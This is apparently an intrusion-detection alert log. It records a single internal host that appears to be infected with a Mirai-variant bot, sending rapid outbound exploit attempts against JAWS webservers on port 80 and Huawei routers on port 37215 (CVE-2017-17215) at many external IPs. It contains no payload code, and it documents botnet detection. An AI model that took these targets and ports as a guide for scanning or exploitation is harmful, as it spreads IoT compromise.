2024-12-03T23:17:36.772768+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43918	205.65.235.83	80	TCP
2024-12-03T23:17:36.772768+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43918	205.65.235.83	80	TCP
2024-12-03T23:17:36.772847+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43474	173.48.55.170	80	TCP
2024-12-03T23:17:36.772847+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43474	173.48.55.170	80	TCP
2024-12-03T23:17:36.772956+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60448	126.194.205.75	80	TCP
2024-12-03T23:17:36.772956+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60448	126.194.205.75	80	TCP
2024-12-03T23:17:36.773068+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34358	50.161.43.55	80	TCP
2024-12-03T23:17:36.773068+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34358	50.161.43.55	80	TCP
2024-12-03T23:17:36.778797+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37094	121.234.2.67	80	TCP
2024-12-03T23:17:36.778797+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	37094	121.234.2.67	80	TCP
2024-12-03T23:17:36.778907+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56256	170.168.126.36	80	TCP
2024-12-03T23:17:36.778907+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56256	170.168.126.36	80	TCP
2024-12-03T23:17:36.788055+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	32774	164.19.146.178	80	TCP
2024-12-03T23:17:36.788055+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	32774	164.19.146.178	80	TCP
2024-12-03T23:17:37.178885+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33440	212.185.243.29	80	TCP
2024-12-03T23:17:37.178885+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33440	212.185.243.29	80	TCP
2024-12-03T23:17:37.178987+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49706	209.235.15.40	80	TCP
2024-12-03T23:17:37.178987+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49706	209.235.15.40	80	TCP
2024-12-03T23:17:37.185033+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50514	181.77.83.18	80	TCP
2024-12-03T23:17:37.185033+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50514	181.77.83.18	80	TCP
2024-12-03T23:17:37.226694+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55440	140.171.232.171	80	TCP
2024-12-03T23:17:37.226694+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55440	140.171.232.171	80	TCP
2024-12-03T23:17:37.294642+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38010	140.214.43.234	80	TCP
2024-12-03T23:17:37.294642+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38010	140.214.43.234	80	TCP
2024-12-03T23:17:37.310256+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41334	206.132.219.155	80	TCP
2024-12-03T23:17:37.310256+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41334	206.132.219.155	80	TCP
2024-12-03T23:17:37.319554+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36218	104.237.87.233	80	TCP
2024-12-03T23:17:37.319554+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36218	104.237.87.233	80	TCP
2024-12-03T23:17:37.319615+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50910	126.170.127.83	80	TCP
2024-12-03T23:17:37.319615+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50910	126.170.127.83	80	TCP
2024-12-03T23:17:37.319803+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57904	82.161.146.219	80	TCP
2024-12-03T23:17:37.319803+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57904	82.161.146.219	80	TCP
2024-12-03T23:17:37.325826+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	58474	178.111.248.74	80	TCP
2024-12-03T23:17:37.325826+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	58474	178.111.248.74	80	TCP
2024-12-03T23:17:37.335175+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43892	5.54.47.98	80	TCP
2024-12-03T23:17:37.335175+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43892	5.54.47.98	80	TCP
2024-12-03T23:17:37.335329+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40110	46.179.185.79	80	TCP
2024-12-03T23:17:37.335329+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40110	46.179.185.79	80	TCP
2024-12-03T23:17:37.350646+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41238	158.185.230.164	80	TCP
2024-12-03T23:17:37.350646+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41238	158.185.230.164	80	TCP
2024-12-03T23:17:37.350823+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55326	118.24.96.103	80	TCP
2024-12-03T23:17:37.350823+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55326	118.24.96.103	80	TCP
2024-12-03T23:17:37.351252+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34034	111.183.112.128	80	TCP
2024-12-03T23:17:37.351252+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34034	111.183.112.128	80	TCP
2024-12-03T23:17:37.779110+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43502	197.66.120.243	37215	TCP
2024-12-03T23:17:37.819599+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	58856	41.17.94.167	37215	TCP
2024-12-03T23:17:38.060102+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60916	197.221.55.224	37215	TCP
2024-12-03T23:17:38.388181+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38264	36.139.199.207	80	TCP
2024-12-03T23:17:38.388181+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38264	36.139.199.207	80	TCP
2024-12-03T23:17:38.419519+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47036	201.205.127.243	80	TCP
2024-12-03T23:17:38.419519+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47036	201.205.127.243	80	TCP
2024-12-03T23:17:38.444544+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48110	101.194.178.38	80	TCP
2024-12-03T23:17:38.444544+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48110	101.194.178.38	80	TCP
2024-12-03T23:17:38.444898+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50560	158.208.139.82	80	TCP
2024-12-03T23:17:38.444898+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50560	158.208.139.82	80	TCP
2024-12-03T23:17:38.466779+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44754	129.219.241.177	80	TCP
2024-12-03T23:17:38.466779+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44754	129.219.241.177	80	TCP
2024-12-03T23:17:38.779201+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51754	156.42.14.133	37215	TCP
2024-12-03T23:17:38.779214+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42346	41.113.69.91	37215	TCP
2024-12-03T23:17:38.779338+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48906	197.231.171.97	37215	TCP
2024-12-03T23:17:38.779497+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56488	156.237.223.149	37215	TCP
2024-12-03T23:17:38.779614+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39140	197.190.201.225	37215	TCP
2024-12-03T23:17:38.779889+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56712	41.106.24.165	37215	TCP
2024-12-03T23:17:38.780012+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	34632	197.173.136.219	37215	TCP
2024-12-03T23:17:38.794466+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45850	41.41.47.186	37215	TCP
2024-12-03T23:17:38.794742+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45618	41.170.118.151	37215	TCP
2024-12-03T23:17:38.795115+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44066	197.43.176.89	37215	TCP
2024-12-03T23:17:38.796413+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51886	156.9.171.217	37215	TCP
2024-12-03T23:17:38.798168+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	55698	41.40.188.121	37215	TCP
2024-12-03T23:17:38.799328+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45268	197.69.237.216	37215	TCP
2024-12-03T23:17:38.803703+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36038	41.199.127.94	37215	TCP
2024-12-03T23:17:38.803867+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48712	41.181.197.76	37215	TCP
2024-12-03T23:17:38.803996+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56018	156.80.123.225	37215	TCP
2024-12-03T23:17:38.804160+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43628	156.46.137.138	37215	TCP
2024-12-03T23:17:38.804295+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	46164	156.40.69.248	37215	TCP
2024-12-03T23:17:38.804466+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	54348	197.168.192.67	37215	TCP
2024-12-03T23:17:38.804627+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47456	41.221.147.20	37215	TCP
2024-12-03T23:17:38.810087+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51692	197.212.213.106	37215	TCP
2024-12-03T23:17:38.810151+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42142	41.131.243.13	37215	TCP
2024-12-03T23:17:38.810511+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45734	156.167.163.77	37215	TCP
2024-12-03T23:17:38.810697+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53410	156.57.209.219	37215	TCP
2024-12-03T23:17:38.823953+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35886	197.155.156.157	37215	TCP
2024-12-03T23:17:38.823955+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57042	197.23.41.145	37215	TCP
2024-12-03T23:17:38.828419+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37558	197.44.132.47	37215	TCP
2024-12-03T23:17:38.828453+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56572	41.73.141.159	37215	TCP
2024-12-03T23:17:38.835051+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60632	156.89.23.250	37215	TCP
2024-12-03T23:17:38.847621+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60200	156.181.214.148	37215	TCP
2024-12-03T23:17:38.847798+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50526	156.95.165.206	37215	TCP
2024-12-03T23:17:38.848073+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53642	156.214.10.149	37215	TCP
2024-12-03T23:17:38.855591+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41344	41.229.166.31	37215	TCP
2024-12-03T23:17:38.855592+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50812	41.191.29.181	37215	TCP
2024-12-03T23:17:38.855720+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33314	41.6.139.179	37215	TCP
2024-12-03T23:17:38.856015+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51602	197.248.14.153	37215	TCP
2024-12-03T23:17:38.856015+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49668	41.75.90.234	37215	TCP
2024-12-03T23:17:38.856025+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48610	197.201.114.90	37215	TCP
2024-12-03T23:17:39.028906+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44068	156.107.109.168	37215	TCP
2024-12-03T23:17:39.044876+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36106	197.91.196.226	37215	TCP
2024-12-03T23:17:39.053768+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47906	197.176.86.58	37215	TCP
2024-12-03T23:17:39.053845+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44040	197.112.65.155	37215	TCP
2024-12-03T23:17:39.060234+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44914	156.197.13.124	37215	TCP
2024-12-03T23:17:39.075720+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59996	156.88.41.169	37215	TCP
2024-12-03T23:17:39.075920+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42056	156.232.128.61	37215	TCP
2024-12-03T23:17:39.085008+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59578	41.80.243.15	37215	TCP
2024-12-03T23:17:39.085138+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57074	41.79.213.134	37215	TCP
2024-12-03T23:17:39.085207+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56736	156.250.94.154	37215	TCP
2024-12-03T23:17:39.100616+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40696	197.21.76.170	37215	TCP
2024-12-03T23:17:39.122803+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	58216	93.82.218.154	80	TCP
2024-12-03T23:17:39.122803+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	58216	93.82.218.154	80	TCP
2024-12-03T23:17:39.147757+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54828	192.50.31.153	80	TCP
2024-12-03T23:17:39.147757+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54828	192.50.31.153	80	TCP
2024-12-03T23:17:39.169795+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57216	181.105.47.221	80	TCP
2024-12-03T23:17:39.169795+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57216	181.105.47.221	80	TCP
2024-12-03T23:17:39.169797+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54008	178.63.71.84	80	TCP
2024-12-03T23:17:39.169797+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54008	178.63.71.84	80	TCP
2024-12-03T23:17:39.169897+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39030	101.35.59.114	80	TCP
2024-12-03T23:17:39.169897+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39030	101.35.59.114	80	TCP
2024-12-03T23:17:39.170010+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39538	190.107.233.200	80	TCP
2024-12-03T23:17:39.170010+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39538	190.107.233.200	80	TCP
2024-12-03T23:17:39.170353+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	46242	164.239.150.208	80	TCP
2024-12-03T23:17:39.170353+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	46242	164.239.150.208	80	TCP
2024-12-03T23:17:39.225588+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43060	216.126.32.64	80	TCP
2024-12-03T23:17:39.225588+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43060	216.126.32.64	80	TCP
2024-12-03T23:17:39.324009+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33204	84.234.97.100	80	TCP
2024-12-03T23:17:39.324009+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33204	84.234.97.100	80	TCP
2024-12-03T23:17:40.294679+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43084	153.12.49.149	80	TCP
2024-12-03T23:17:40.294679+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43084	153.12.49.149	80	TCP
2024-12-03T23:17:40.294917+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59888	156.51.242.96	37215	TCP
2024-12-03T23:17:40.310644+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35054	156.252.30.194	37215	TCP
2024-12-03T23:17:40.366444+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35116	41.77.32.233	37215	TCP
2024-12-03T23:17:40.372740+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33576	210.33.62.62	80	TCP
2024-12-03T23:17:40.372740+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33576	210.33.62.62	80	TCP
2024-12-03T23:17:40.373134+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54542	191.50.71.224	80	TCP
2024-12-03T23:17:40.373134+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54542	191.50.71.224	80	TCP
2024-12-03T23:17:40.403967+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43518	122.83.81.32	80	TCP
2024-12-03T23:17:40.403967+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43518	122.83.81.32	80	TCP
2024-12-03T23:17:40.404124+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45092	47.0.213.205	80	TCP
2024-12-03T23:17:40.404124+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45092	47.0.213.205	80	TCP
2024-12-03T23:17:40.419540+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37042	158.73.164.127	80	TCP
2024-12-03T23:17:40.419540+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	37042	158.73.164.127	80	TCP
2024-12-03T23:17:40.419657+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45548	72.158.162.254	80	TCP
2024-12-03T23:17:40.419657+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45548	72.158.162.254	80	TCP
2024-12-03T23:17:40.428860+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44846	94.117.229.139	80	TCP
2024-12-03T23:17:40.428860+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44846	94.117.229.139	80	TCP
2024-12-03T23:17:40.439742+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60308	109.207.17.84	80	TCP
2024-12-03T23:17:40.439742+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60308	109.207.17.84	80	TCP
2024-12-03T23:17:40.444160+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40794	95.203.89.190	80	TCP
2024-12-03T23:17:40.444160+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40794	95.203.89.190	80	TCP
2024-12-03T23:17:40.966736+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38428	197.181.246.66	37215	TCP
2024-12-03T23:17:40.975665+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	54466	197.193.114.129	37215	TCP
2024-12-03T23:17:40.976001+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57278	197.199.140.221	37215	TCP
2024-12-03T23:17:41.263615+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40626	109.228.229.39	80	TCP
2024-12-03T23:17:41.263615+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40626	109.228.229.39	80	TCP
2024-12-03T23:17:41.263723+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48406	93.198.207.100	80	TCP
2024-12-03T23:17:41.263723+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48406	93.198.207.100	80	TCP
2024-12-03T23:17:41.279252+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	46936	96.222.109.36	80	TCP
2024-12-03T23:17:41.279252+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	46936	96.222.109.36	80	TCP
2024-12-03T23:17:41.294698+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39626	64.123.102.127	80	TCP
2024-12-03T23:17:41.294698+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39626	64.123.102.127	80	TCP
2024-12-03T23:17:41.294894+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55460	104.148.123.44	80	TCP
2024-12-03T23:17:41.294894+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55460	104.148.123.44	80	TCP
2024-12-03T23:17:41.303838+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54018	12.162.227.69	80	TCP
2024-12-03T23:17:41.303838+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54018	12.162.227.69	80	TCP
2024-12-03T23:17:41.350706+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41326	197.62.186.132	37215	TCP
2024-12-03T23:17:41.350864+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	32966	153.221.39.155	80	TCP
2024-12-03T23:17:41.350864+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	32966	153.221.39.155	80	TCP
2024-12-03T23:17:41.351055+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33968	222.224.60.126	80	TCP
2024-12-03T23:17:41.351055+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33968	222.224.60.126	80	TCP
2024-12-03T23:17:41.366320+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36790	41.218.188.113	37215	TCP
2024-12-03T23:17:41.388469+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50722	197.228.155.153	37215	TCP
2024-12-03T23:17:41.397520+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	34608	197.209.120.47	37215	TCP
2024-12-03T23:17:41.397684+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	58796	197.113.114.59	37215	TCP
2024-12-03T23:17:41.466349+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37056	41.247.59.163	37215	TCP
2024-12-03T23:17:41.497748+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60866	156.0.159.225	37215	TCP
2024-12-03T23:17:41.497757+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	54456	41.198.94.135	37215	TCP
2024-12-03T23:17:41.513252+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42572	75.157.11.192	80	TCP
2024-12-03T23:17:41.513252+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42572	75.157.11.192	80	TCP
2024-12-03T23:17:41.522653+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35562	156.100.20.73	37215	TCP
2024-12-03T23:17:41.528867+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	51274	98.134.159.67	80	TCP
2024-12-03T23:17:41.528867+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	51274	98.134.159.67	80	TCP
